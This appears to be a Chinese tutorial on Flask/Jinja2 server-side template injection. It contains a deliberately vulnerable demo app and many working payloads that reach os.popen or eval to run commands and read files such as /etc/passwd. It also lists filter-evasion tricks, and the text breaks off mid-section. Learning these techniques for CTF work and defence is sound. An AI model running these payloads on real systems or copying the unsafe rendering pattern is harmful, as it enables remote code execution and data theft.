\u8fd9\u4e2a\u662f\u5173\u4e8eflask\u67b6\u6784\u7684ssti\u6f0f\u6d1e\uff0c\u6240\u4ee5\u8981\u5148\u8bb2\u89e3flask\u67b6\u6784<\/p>\n\n\n\n
Flask\u662f\u4e00\u4e2aPython\u7f16\u5199\u7684Web \u5fae\u6846\u67b6\uff0c\u8ba9\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528Python\u8bed\u8a00\u5feb\u901f\u5b9e\u73b0\u4e00\u4e2a\u7f51\u7ad9\u6216Web\u670d\u52a1\u3002\u4f18\u70b9\u5c31\u5728\u4e8e\u5f00\u53d1\u7b80\u5355\uff0c\u4ee3\u7801\u91cf\u5c11\uff0c\u5f88\u591a\u5de5\u4f5c\u90fd\u5728\u6846\u67b6\u4e2d\u88ab\u5b9e\u73b0\u4e86\u3002\u4ed6\u4e0eDjango\u4e0d\u540c\u4e8eDjango\u662f\u4e00\u4e2a\u5168\u80fd\u578b\u6846\u67b6\uff0c\u901a\u5e38\u7528\u4e8e\u7f16\u5199\u5927\u578b\u7684\u7f51\u7ad9\u3002 \u800cjinjia2\u3001template\u3001Mako\u7b49\u7b49\u90fd\u5c5e\u4e8e\u4e3a\u6846\u67b6\u63d0\u4f9b\u529f\u80fd\u652f\u6301\u7684\u5f15\u64ce\uff0c\u5404\u6709\u4f18\u7f3a\u70b9\uff0c\u4e5f\u4e0d\u662f\u6211\u4eec\u4e3b\u8981\u5b66\u4e60\u7684\u5185\u5bb9\u3002\u4f46\u6211\u4eec\u8981\u77e5\u9053Flask\u9ed8\u8ba4\u4f7f\u7528\u7684\u5f15\u64ce\u4e3ajinjia2\uff0c\u672c\u6587\u4e5f\u4f1a\u4e3b\u8981\u5206\u6790jinjia2\u4e2d\u7684\u6ce8\u5165\u95ee\u9898\u3002<\/p>\n\n\n\n
flask\u4f7f\u7528jinjia2\u6e32\u67d3\u5f15\u64ce\u8fdb\u884c\u7f51\u9875\u6e32\u67d3\uff0c\u5f53\u5904\u7406\u4e0d\u5f97\u5f53\uff0c\u672a\u8fdb\u884c\u8bed\u53e5\u8fc7\u6ee4\uff0c\u7528\u6237\u8f93\u5165{{\u63a7\u5236\u8bed\u53e5}}\uff0c\u4f1a\u5bfc\u81f4\u6e32\u67d3\u51fa\u6076\u610f\u4ee3\u7801\uff0c\u5f62\u6210\u6ce8\u5165\u3002<\/p>\n\n\n\n
#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__) # \u521b\u5efaFLask\u7c7b
@app.route(\"\/\") #\u8bbe\u7f6e\u7684\u9ed8\u8ba4\u8def\u7531
def index(): #\u9ed8\u8ba4\u7684\u89c6\u56fe\u51fd\u6570\uff0c\u4e0e\u8def\u7531\u7ed1\u5b9a\uff0c\u7528\u6765\u5904\u7406\u7528\u6237\u8bbf\u95ee\u7f51\u7ad9\u8ddf\u76ee\u5f55\/\u65f6\u7684\u60c5\u51b5
name = request.args.get('name', 'guest')#\u63a5\u53d7\u53c2\u6570\u540d\u4e3aname \u7684\u53c2\u6570\u4f20\u5165
html = '''
<h3>your input %s<\/h3>
'''%name #\u8bbe\u7f6e\u4e00\u4e2a\u6a21\u677fhtml\uff0c\u5c06name\u7684\u503c\u4ee5%s\u8f93\u51fa
return render_template_string(html) #\u5c06html\u4ee5\u5b57\u7b26\u4e32\u6a21\u677f\u7684\u5f62\u5f0f\u6e32\u67d3
#\u5bf9\u5e94\u7684\uff0c\u5f53html\u662f\u4e00\u4e2a\u6587\u4ef6\u65f6\uff0c\u4f7f\u7528render_template \u51fd\u6570\u6765\u6e32\u67d3\u4e00\u4e2a\u6307\u5b9a\u7684\u6587\u4ef6
if __name__=='__main__': #\u4f5c\u4e3a\u4e3b\u6587\u4ef6\u542f\u52a8\u65f6
app.run(debug = True) #\u4ee5debug\u6a21\u5f0f\u8fd0\u884c<\/pre>\n\n\n\n\u5f53\u4f20\u5165\u53c2\u6570name\u65f6\uff0c\u4f1a\u88abTemplate\u521b\u5efa\u6a21\u677f\u540e\u6e32\u67d3\u4e3a\u9875\u9762\u5c55\u793a\u7684\u5185\u5bb9\u3002 \u4f8b\u5982\u4f20\u5165
name=Wea5e1<\/code> \u4f1a\u56de\u663e your input Wea5e1<\/p>\n\n\n\n\u6ce8\u5165\u6d4b\u8bd5<\/h3>\n\n\n\n
\u5728jinjia2\u5f15\u64ce\u91cc\u9762<\/p>\n\n\n\n
{{ ... }}\uff1a\u88c5\u8f7d\u4e00\u4e2a\u53d8\u91cf\uff0c\u6a21\u677f\u6e32\u67d3\u7684\u65f6\u5019\uff0c\u4f1a\u4f7f\u7528\u4f20\u8fdb\u6765\u7684\u540c\u540d\u53c2\u6570\u8fd9\u4e2a\u53d8\u91cf\u4ee3\u8868\u7684\u503c\u66ff\u6362\u6389\u3002
{% ... %}\uff1a\u88c5\u8f7d\u4e00\u4e2a\u63a7\u5236\u8bed\u53e5\u3002
{# ... #}\uff1a\u88c5\u8f7d\u4e00\u4e2a\u6ce8\u91ca\uff0c\u6a21\u677f\u6e32\u67d3\u7684\u65f6\u5019\u4f1a\u5ffd\u89c6\u8fd9\u4e2d\u95f4\u7684\u503c<\/pre>\n\n\n\n\u5c31\u50cf\u6211\u4eec\u901a\u5e38\u6d4b\u8bd5\u7684\u65f6\u5019\u90fd\u662f{{7*7}}\u8fd9\u6837\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0\u56de\u663e49\uff0c\u5c31\u4ee3\u8868\u82b1\u62ec\u53f7\u4e2d\u7684\u503c\u662f\u53ef\u63a7\u4e14\u88ab\u6a21\u677f\u6e32\u67d3\u3002\u4e5f\u5c31\u662f\u7528\u6237\u5728
{{}}<\/code>\u4e2d\u7684\u8f93\u5165\u88ab\u5f15\u64ce\u89c6\u4e3a\u65b0\u7684\u53d8\u91cf\u4ece\u800c\u8fdb\u884c\u6e32\u67d3\uff0c\u8fd9\u65f6\u5c31\u6ee1\u8db3\u4e86\u4ee3\u7801\u6267\u884c\u3001\u8f93\u5165\u53ef\u63a7\u7684\u57fa\u672c\u6761\u4ef6\u3002<\/p>\n\n\n\n\u91cd\u8981\u7684\u7c7b\u548c\u5c5e\u6027<\/h3>\n\n\n\n
\u8fd9\u91cc\u9996\u5148\u4e86\u89e3\u4e00\u4e0b\u6a21\u677f\u4e2d\u7684\u51e0\u4e2a\u91cd\u8981\u7c7b\u548c\u5c5e\u6027\uff0c\u4fbf\u4e8e\u540e\u7eed\u8c03\u7528\u6307\u5b9a\u7684\u654f\u611f\u6a21\u5757\u3002<\/p>\n\n\n\n
__class__ \u8fd4\u56de\u7c7b\u578b\u6240\u5c5e\u7684\u5bf9\u8c61
__mro__\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u5bf9\u8c61\u6240\u7ee7\u627f\u7684\u57fa\u7c7b\u5143\u7ec4\uff0c\u65b9\u6cd5\u5728\u89e3\u6790\u65f6\u6309\u7167\u5143\u7ec4\u7684\u987a\u5e8f\u89e3\u6790\uff0c\u8fd9\u91cc\u4e5f\u5c31\u662fclass\u8fd4\u56de\u7684\u5bf9\u8c61\u6240\u5c5e\u7684\u7c7b\u3002
__base__\u8fd4\u56de\u8be5\u5bf9\u8c61\u6240\u7ee7\u627f\u7684\u57fa\u7c7b\uff0c\u8fd9\u91cc\u4e5f\u5c31\u662fclass\u8fd4\u56de\u7684\u5bf9\u8c61\u6240\u5c5e\u7684\u7c7b\u3002
__subclasses__\u8fd4\u56de\u57fa\u7c7b\u4e2d\u7684\u6240\u6709\u5b50\u7c7b\uff0c\u6bcf\u4e2a\u65b0\u7c7b\u90fd\u4fdd\u7559\u4e86\u5b50\u7c7b\u7684\u5f15\u7528\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u8fd4\u56de\u4e00\u4e2a\u7c7b\u4e2d\u4ecd\u7136\u53ef\u7528\u7684\u7684\u5f15\u7528\u7684\u5217\u8868
__globals__\u5bf9\u5305\u542b\u51fd\u6570\u5168\u5c40\u53d8\u91cf\u7684\u5b57\u5178\u7684\u5f15\u7528\uff0c\u91cc\u9762\u5305\u62ec
get_flashed_messages() \u8fd4\u56de\u5728Flask\u4e2d\u901a\u8fc7 flash() \u4f20\u5165\u7684\u95ea\u73b0\u4fe1\u606f\u5217\u8868\u3002\u628a\u5b57\u7b26\u4e32\u5bf9\u8c61\u8868\u793a\u7684\u6d88\u606f\u52a0\u5165\u5230\u4e00\u4e2a\u6d88\u606f\u961f\u5217\u4e2d\uff0c\u7136\u540e\u901a\u8fc7\u8c03\u7528get_flashed_messages() \u65b9\u6cd5\u53d6\u51fa(\u95ea\u73b0\u4fe1\u606f\u53ea\u80fd\u53d6\u51fa\u4e00\u6b21\uff0c\u53d6\u51fa\u540e\u95ea\u73b0\u4fe1\u606f\u4f1a\u88ab\u6e05\u7a7a)\u3002<\/pre>\n\n\n\n\u4f7f\u7528\u7c7b\u7684\u6817\u5b50<\/h4>\n\n\n\n
class A:
pass
class B(A):
pass
class C(B):
pass
c = C() \/\/\u521b\u5efa\u7ee7\u627f\u94fe
print(c.__class__) \/\/<class '__main__.C'> \u8fd4\u56de\u5b9e\u4f8bC\u7684\u7c7b
print(c.__class__.__mro__[1]) \/\/\u8fd4\u56de\u5176\u7236\u7c7b print(c.__class__.__mro__[3]) \/\/\u5230\u9876\u4e86\u5c31\u8fd4\u56de\u5176\u6240\u6709\u7684\u57fa\u7c7b\uff0c\u4e5f\u5c31\u662fobject
print(c.__class__.__mro__[3].__subclasses__()) \/\/\u8fd4\u56de\u57fa\u7c7b\u4e2d\u7684\u6240\u6709\u5b50\u7c7b(\u5305\u62ec\u5185\u7f6e\u7c7b)
print(c.__class__.__mro__[3].__subclasses__()[156]) \/\/\u8fd4\u56de\u57fa\u7c7b\u91cc\u9762\u7b2c156\u4e2a\u5b50\u7c7b(\u6211\u8fd9\u91cc\u7684os\u6a21\u5757\u662f156\uff0c\u5177\u4f53\u95ee\u9898\u5177\u4f53\u5206\u6790)
print(c.__class__.__mro__[3].__subclasses__()[156].__init__) \/\/\u5bf9os\u6a21\u5757\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u65b9\u4fbf\u8c03\u7528\/\/\u83b7\u53d6\u8be5\u5b50\u7c7b\u7684 __init__ \u51fd\u6570\u5bf9\u8c61
print(c.__class__.__mro__[3].__subclasses__()[156].__init__.__globals__['popen']) \/\/\u901a\u8fc7 __globals__ \u83b7\u53d6\u8be5\u51fd\u6570\u4f5c\u7528\u57df\u5185\u7684\u5168\u5c40\u53d8\u91cf popen
print(c.__class__.__mro__[3].__subclasses__()[156].__init__.__globals__['popen']('whoami').read())\/\/\u4f7f\u7528popen\u8fd9\u4e2a\u5168\u5c40\u53d8\u91cf\u8fdb\u884cRCE<\/pre>\n\n\n\n\u989d\uff0c\u4e0a\u9762\u8fd9\u4e2a\u5176\u5b9e\u5c31\u662f\u8fdb\u884c\u4e86\u4e00\u6b21\u5173\u4e8eflask\u7684ssti\u7684\u6f0f\u6d1e\u5229\u7528\u4e86<\/p>\n\n\n\n
SSTi<\/h2>\n\n\n\n
\u539f\u7406\uff1a<\/h3>\n\n\n\n
\u670d\u52a1\u5668\u7aef\u6a21\u677f\u6ce8\u5165\uff08Server \u2013 Side Template Injection\uff0cSSTI\uff09\u6f0f\u6d1e\uff0c\u662f\u6307\u653b\u51fb\u8005\u80fd\u591f\u5229\u7528\u5e94\u7528\u7a0b\u5e8f\u5bf9\u6a21\u677f\u5f15\u64ce\u7684\u4f7f\u7528\uff0c\u5c06\u6076\u610f\u7684\u6a21\u677f\u4ee3\u7801\u6ce8\u5165\u5230\u670d\u52a1\u5668\u7aef\u7684\u6a21\u677f\u6e32\u67d3\u8fc7\u7a0b\u4e2d\uff0c\u4f7f\u5f97\u8fd9\u4e9b\u6076\u610f\u4ee3\u7801\u5728\u670d\u52a1\u5668\u7aef\u88ab\u6267\u884c\uff0c\u4ece\u800c\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3001\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u6216\u63a7\u5236\u670d\u52a1\u5668\u7b49\u6076\u610f\u64cd\u4f5c\u7684\u4e00\u79cd\u5b89\u5168\u6f0f\u6d1e\u3002<\/p>\n\n\n\n
\u539f\u56e0\uff1a<\/h3>\n\n\n\n
flask\u4f7f\u7528jinjia2\u6e32\u67d3\u5f15\u64ce\u8fdb\u884c\u7f51\u9875\u6e32\u67d3\uff0c\u5f53\u5904\u7406\u4e0d\u5f97\u5f53\uff0c\u672a\u8fdb\u884c\u8bed\u53e5\u8fc7\u6ee4\uff0c\u7528\u6237\u8f93\u5165{{\u63a7\u5236\u8bed\u53e5}}\uff0c\u4f1a\u5bfc\u81f4\u6e32\u67d3\u51fa\u6076\u610f\u4ee3\u7801\uff0c\u5f62\u6210\u6ce8\u5165\u3002<\/p>\n\n\n\n
\u6f0f\u6d1e\u5229\u7528<\/h3>\n\n\n\n
\u9b54\u672f\u65b9\u6cd5<\/h4>\n\n\n\n
`__class__ \u8fd4\u56de\u8be5\u5bf9\u8c61\u6240\u5c5e\u7684\u7c7b\u3002py\u4e07\u7269\u7686\u5bf9\u8c61\uff0c\u6bd4\u5982\u67d0\u4e2a\u5b57\u7b26\u4e32\u5bf9\u8c61\uff0c\u800c\u5176\u6240\u5c5e\u7684\u7c7b\u4e3a<class 'str'>`
`__base__ \u4ee5\u5b57\u7b26\u4e32\u5f62\u5f0f\u8fd4\u56de\u4e00\u4e2a\u7c7b\u7684\u7236\u7c7b`
`__bases__ \u4ee5\u5143\u7ec4\u5f62\u5f0f\u8fd4\u56de\u4e00\u4e2a\u7c7b\u7684\u5168\u90e8\u7236\u7c7b`
`__mro__ \u8fd4\u56de\u89e3\u6790\u65b9\u6cd5\u8c03\u7528\u7684\u987a\u5e8f\uff0c\u5373\u8fd4\u56de\u6240\u6709\u7236\u7c7b`
`__subclasses__() \u8fd4\u56de\u8fd9\u4e2a\u7c7b\u7684\u6240\u6709\u5b50\u7c7b`
`__init__ \u521d\u59cb\u5316\u7c7b\uff0c\u8fd4\u56de\u7684\u7c7b\u578b\u662ffunction`
`__globals__ \u7528\u4e8e\u83b7\u53d6function\u6240\u5904\u7a7a\u95f4\u4e0b\u53ef\u4f7f\u7528\u7684module\u3001\u65b9\u6cd5\u4ee5\u53ca\u6240\u6709\u53d8\u91cf`
`__dic__ \u7c7b\u7684\u9759\u6001\u51fd\u6570\u3001\u7c7b\u51fd\u6570\u3001\u666e\u901a\u51fd\u6570\u3001\u5168\u5c40\u53d8\u91cf\u4ee5\u53ca\u4e00\u4e9b\u5185\u7f6e\u7684\u5c5e\u6027\u90fd\u662f\u653e\u5728\u7c7b\u7684__dict__\u91cc`
`__str__() \u8fd4\u56de\u63cf\u5199\u8fd9\u4e2a\u5bf9\u8c61\u7684\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u7406\u89e3\u6210\u662f\u6253\u5370\u51fa\u6765\u3002`
`__getattribute__() \u7ed5\u8fc7\u5173\u952e\u5b57\u3002\u5b9e\u4f8b\u3001\u7c7b\u3001\u51fd\u6570\u90fd\u5177\u6709\u7684__getattribute__\u9b54\u672f\u65b9\u6cd5\u3002\u4e8b\u5b9e\u4e0a\uff0c\u5728\u5b9e\u4f8b\u5316\u7684\u5bf9\u8c61\u8fdb\u884c.\u64cd\u4f5c\u7684\u65f6\u5019\uff08\u5f62\u5982\uff1aa.xxx\/a.xxx()\uff09\uff0c\u90fd\u4f1a\u81ea\u52a8\u53bb\u8c03\u7528__getattribute__\u65b9\u6cd5\u3002\u56e0\u6b64\u6211\u4eec\u540c\u6837\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u8fd9\u4e2a\u65b9\u6cd5\u6765\u83b7\u53d6\u5230\u5b9e\u4f8b\u3001\u7c7b\u3001\u51fd\u6570\u7684\u5c5e\u6027\u3002`
`__getitem__() \u7ed5\u8fc7[]\u3002\u8c03\u7528\u5b57\u5178\u4e2d\u7684\u952e\u503c\uff0c\u5176\u5b9e\u5c31\u662f\u8c03\u7528\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u6bd4\u5982a['b']\uff0c\u5c31\u662fa.__getitem__('b')`
`__import__ \u52a8\u6001\u52a0\u8f7d\u7c7b\u548c\u51fd\u6570\uff0c\u4e5f\u5c31\u662f\u5bfc\u5165\u6a21\u5757\uff0c\u7ecf\u5e38\u7528\u4e8e\u5bfc\u5165os\u6a21\u5757\uff0c__import__('os').popen('ls').read()]`
\u200b
`__builtins__ \u5185\u5efa\u540d\u79f0\u7a7a\u95f4\uff0c\u91cc\u9762\u6709\u5f88\u591a\u5e38\u7528\u7684\u51fd\u6570\u3002__builtins__\u4e0e__builtin__\u7684\u533a\u522b\u5c31\u4e0d\u653e\u4e86\uff0c\u767e\u5ea6\u90fd\u6709\u3002`
`url_for flask\u7684\u4e00\u4e2a\u65b9\u6cd5\uff0c\u53ef\u4ee5\u7528\u4e8e\u5f97\u5230__builtins__\uff0c\u800c\u4e14url_for.__globals__['__builtins__']\u542b\u6709current_app\u3002`
`get_flashed_messages flask\u7684\u4e00\u4e2a\u65b9\u6cd5\uff0c\u53ef\u4ee5\u7528\u4e8e\u5f97\u5230__builtins__\uff0c\u800c\u4e14url_for.__globals__['__builtins__']\u542b\u6709current_app\u3002`
`lipsum flask\u7684\u4e00\u4e2a\u65b9\u6cd5\uff0c\u53ef\u4ee5\u7528\u4e8e\u5f97\u5230__builtins__\uff0c\u800c\u4e14lipsum.__globals__\u542b\u6709os\u6a21\u5757\uff1a{{lipsum.__globals__['os'].popen('ls').read()}}`
\u200b
`request \u53ef\u4ee5\u7528\u4e8e\u83b7\u53d6\u5b57\u7b26\u4e32\u6765\u7ed5\u8fc7\uff0c\u5305\u62ec\u4e0b\u9762\u8fd9\u4e9b\uff0c\u5f15\u7528\u4e00\u4e0b\u7fbd\u5e08\u5085\u7684\u3002\u6b64\u5916\uff0c\u540c\u6837\u53ef\u4ee5\u83b7\u53d6open\u51fd\u6570:request.__init__.__globals__['__builtins__'].open('\/proc\\self\\fd\/3').read()`
`request.args.x1 get\u4f20\u53c2`
`request.values.x1 \u6240\u6709\u53c2\u6570`
`request.cookies cookies\u53c2\u6570`
`request.headers \u8bf7\u6c42\u5934\u53c2\u6570`
`request.form.x1 post\u4f20\u53c2 (Content-Type:applicaation\/x-www-form-urlencoded\u6216multipart\/form-data)`
`request.data post\u4f20\u53c2 (Content-Type:a\/b)`
`request.json post\u4f20json (Content-Type: application\/json)`
\u200b
`config \u5f53\u524dapplication\u7684\u6240\u6709\u914d\u7f6e\u3002\u6b64\u5916\uff0c\u4e5f\u53ef\u4ee5\u8fd9\u6837{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}`
`current_app \u5e94\u7528\u4e0a\u4e0b\u6587\uff0c\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf\u3002`
`g {{g}}\u5f97\u5230<flask.g of 'flask_ssti'>` <\/pre>\n\n\n\n\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u65b9\u5f0f\uff1a<\/h4>\n\n\n\n
os.system():<\/h5>\n\n\n\n
__init__.__globals__['os'].system('ls')\u7684\u8f93\u51fa\u662f\u6267\u884c\u7ed3\u679c\u7684\u8fd4\u56de\u503c\uff0c\u800c\u4e0d\u662f\u6267\u884c\u547d\u4ee4\u7684\u8f93\u51fa\uff0c\u6210\u529f\u6267\u884c\u8fd4\u56de0\uff0c\u5931\u8d25\u8fd4\u56de-1\uff0c\u56e0\u4e3a\u8f93\u51fa\u7ed3\u679c\u4e0d\u660e\u663e\uff0c\u6240\u4ee5\u6211\u4eec\u4e5f\u4f1a\u7528\u5230\u4e0b\u9762\u8fd9\u4e2a\u547d\u4ee4\uff1a<\/pre>\n\n\n\nos.popen():<\/h5>\n\n\n\n
\u7528\u6cd5\uff1aos.popen(command[,mode[,bufsize]])
{{''.__class__.__mro__[1].__subclasses__()[156].__init__.__globals__['os'].popen('ls').read()}}
popen\u65b9\u6cd5\u901a\u8fc7p.read()\u83b7\u53d6\u7ec8\u7aef\u8f93\u51fa\uff0c\u800c\u4e14popen\u9700\u8981\u5173\u95edclose().\u5f53\u6267\u884c\u6210\u529f\u65f6\uff0cclose()\u4e0d\u8fd4\u56de\u4efb\u4f55\u503c\uff0c\u5931\u8d25\u65f6\uff0cclose()\u8fd4\u56de\u7cfb\u7edf\u8fd4\u56de\u503c\uff08\u5931\u8d25\u8fd4\u56de1\uff09. \u53ef\u89c1\u5b83\u83b7\u53d6\u8fd4\u56de\u503c\u7684\u65b9\u5f0f\u548cos.system\u4e0d\u540c\u3002
\u7f3a\u70b9\uff1aPopen\u975e\u5e38\u5f3a\u5927\uff0c\u652f\u6301\u591a\u79cd\u53c2\u6570\u548c\u6a21\u5f0f\uff0c\u901a\u8fc7\u5176\u6784\u9020\u51fd\u6570\u53ef\u4ee5\u770b\u5230\u652f\u6301\u5f88\u591a\u53c2\u6570\u3002\u4f46Popen\u51fd\u6570\u5b58\u5728\u7f3a\u9677\u5728\u4e8e\uff0c\u5b83\u662f\u4e00\u4e2a\u963b\u585e\u7684\u65b9\u6cd5\uff0c\u5982\u679c\u8fd0\u884ccmd\u547d\u4ee4\u65f6\u4ea7\u751f\u5185\u5bb9\u975e\u5e38\u591a\uff0c\u51fd\u6570\u5c31\u5bb9\u6613\u963b\u585e\u3002\u53e6\u4e00\u70b9\uff0cPopen\u65b9\u6cd5\u4e5f\u4e0d\u4f1a\u6253\u5370\u51facmd\u7684\u6267\u884c\u4fe1\u606f<\/pre>\n\n\n\nwarnings.catchwarning:<\/h5>\n\n\n\n
\u8bbf\u95eeos\u6a21\u5757\u8fd8\u6709\u4ecewarnings.catchwarnings\u6a21\u5757\u5165\u624b\u7684\uff0c\u800c\u8fd9\u4e24\u4e2a\u6a21\u5757\u5206\u522b\u4f4d\u4e8e\u5143\u7ec4\u4e2d\u768459\uff0c60\u53f7\u5143\u7d20\u3002init<\/strong>\u65b9\u6cd5\u7528\u4e8e\u5c06\u5bf9\u8c61\u5b9e\u4f8b\u5316\uff0c\u5728\u8fd9\u4e2a\u51fd\u6570\u4e0b\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7funcglobals\uff08\u6216\u8005__globals\uff09\u770b\u8be5\u6a21\u5757\u4e0b\u6709\u54ea\u4e9bglobals\u51fd\u6570\uff08\u6ce8\u610f\u8fd4\u56de\u7684\u662f\u5b57\u5178\uff09\uff0c\u800clinecache\u53ef\u7528\u4e8e\u8bfb\u53d6\u4efb\u610f\u4e00\u4e2a\u6587\u4ef6\u7684\u67d0\u4e00\u884c\uff0c\u800c\u8fd9\u4e2a\u51fd\u6570\u5f15\u7528\u4e86os\u6a21\u5757\u3002<\/p>\n\n\n\n
`[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')`
\u200b
`[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')`<\/pre>\n\n\n\nbuiltins\u5185\u5efa\u51fd\u6570:<\/h5>\n\n\n\n
\u5185\u5efa\u51fd\u6570\u5c31\u662f\u672c\u8eab\u5c31\u6709\u7684\uff0c\u542f\u52a8\u7684\u65f6\u5019python\u89e3\u91ca\u5668\u5c31\u4f1a\u81ea\u52a8\u89e3\u6790\uff0c\u5185\u5efa\u51fd\u6570\u91cc\u9762\u5305\u62ec\u4e86\u8bb8\u591a\u4eec\u9700\u8981\u7684eval\u51fd\u6570\uff0c\u53ef\u4ee5\u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"ls\").read()')
\u200b
`''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__(\"os\").popen(\"ls\").read()')`
\u200b
`\u8fd9\u4e24\u4e2apayload\u7528\u7684\u662f\u540c\u4e00\u4e2a\u6a21\u5757,__builtins__\u6a21\u5757,eval\u65b9\u6cd5.`
\u200b
`[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()`<\/pre>\n\n\n\n\u7ed5\u8fc7Waf<\/h4>\n\n\n\n
\u5173\u952e\u5b57\u7ed5\u8fc7\uff1a<\/h5>\n\n\n\n
\u62fc\u63a5\u6cd5<\/h5>\n\n\n\n
{{().__class__.__bases__[0].__subclasses__()[40]('\/fl'+'ag').read()}}
\u200b
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__(\"o\"+\"s\").popen(\"ls \/\").read()')}}
\u200b
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__(\"os\").popen(\"ls \/\").read()')}}
\/\/\u53ea\u8981\u8fd4\u56de\u7684\u662f\u5b57\u5178\u7c7b\u578b\u7684\u6216\u662f\u5b57\u7b26\u4e32\u683c\u5f0f\u7684\uff0c\u5373payload\u4e2d\u5f15\u53f7\u5185\u7684\uff0c\u5728\u8c03\u7528\u7684\u65f6\u5019\u90fd\u53ef\u4ee5\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\u7ed5\u8fc7\u3002<\/pre>\n\n\n\n\u7f16\u7801\u7ed5\u8fc7<\/h5>\n\n\n\n
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
->
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"ls \/\").read()')}} \/\/\u53ea\u8981\u662f\u5b57\u7b26\u4e32\u7684\uff0c\u5373payload\u4e2d\u5f15\u53f7\u5185\u7684\uff0c\u90fd\u53ef\u4ee5\u7528\u7f16\u7801\u7ed5\u8fc7\u3002\u540c\u7406\u8fd8\u53ef\u4ee5\u8fdb\u884crot13\u300116\u8fdb\u5236\u7f16\u7801\u7b49\uff0c\u8fd8\u6709Unicode\u7f16\u7801\uff0cHex\u7f16\u7801\uff0c\u5f15\u53f7\u7ed5\u8fc7<\/pre>\n\n\n\n\u5229\u7528\u5f15\u53f7\u7ed5\u8fc7<\/h5>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u5f15\u53f7\u6765\u7ed5\u8fc7\u5bf9\u5173\u952e\u5b57\u7684\u8fc7\u6ee4\u3002\u4f8b\u5982\uff0c\u8fc7\u6ee4\u4e86flag\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u7528 fl\"\"ag \u6216 fl''ag \u7684\u5f62\u5f0f\u6765\u7ed5\u8fc7\uff1a
[].__class__.__base__.__subclasses__()[40](\"\/fl\"\"ag\").read()<\/pre>\n\n\n\n\u5229\u7528join()\u51fd\u6570\u7ed5\u8fc7<\/h5>\n\n\n\n
[].__class__.__base__.__subclasses__()[40](\"fla\".join(\"\/g\")).read()<\/pre>\n\n\n\n\u7ed5\u8fc7\u5176\u4ed6\u5b57\u7b26<\/h5>\n\n\n\n
\u8fc7\u6ee4\u4e86\u4e2d\u62ec\u53f7[ ]<\/h5>\n\n\n\n
\u5229\u7528 __getitem__() \u7ed5\u8fc7
\u53ef\u4ee5\u4f7f\u7528 __getitem__() \u65b9\u6cd5\u8f93\u51fa\u5e8f\u5217\u5c5e\u6027\u4e2d\u7684\u67d0\u4e2a\u7d22\u5f15\u5904\u7684\u5143\u7d20\uff0c\u5982\uff1a
\"\".__class__.__mro__[2]
\"\".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')
\u6216\u8005\u4f7f\u7528.<\/pre>\n\n\n\n\u5229\u7528 pop() \u7ed5\u8fc7<\/strong><\/p>\n\n\n\n
pop()\u65b9\u6cd5\u53ef\u4ee5\u8fd4\u56de\u6307\u5b9a\u5e8f\u5217\u5c5e\u6027\u4e2d\u7684\u67d0\u4e2a\u7d22\u5f15\u5904\u7684\u5143\u7d20\u6216\u6307\u5b9a\u5b57\u5178\u5c5e\u6027\u4e2d\u67d0\u4e2a\u952e\u5bf9\u5e94\u7684\u503c\uff0c\u5982\u4e0b\u793a\u4f8b\uff1a
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('\/etc\/passwd').read()}} \/\/ \u6307\u5b9a\u5e8f\u5217\u5c5e\u6027
\u200b
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__(\"os\").popen(\"ls \/\").read()')}} \/\/ \u6307\u5b9a\u5b57\u5178\u5c5e\u6027
\u6ce8\u610f\uff1a\u6700\u597d\u4e0d\u8981\u7528pop()\uff0c\u56e0\u4e3apop()\u4f1a\u5220\u9664\u76f8\u5e94\u4f4d\u7f6e\u7684\u503c\u3002<\/pre>\n\n\n\n\u5229\u7528\u5b57\u5178\u8bfb\u53d6\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n
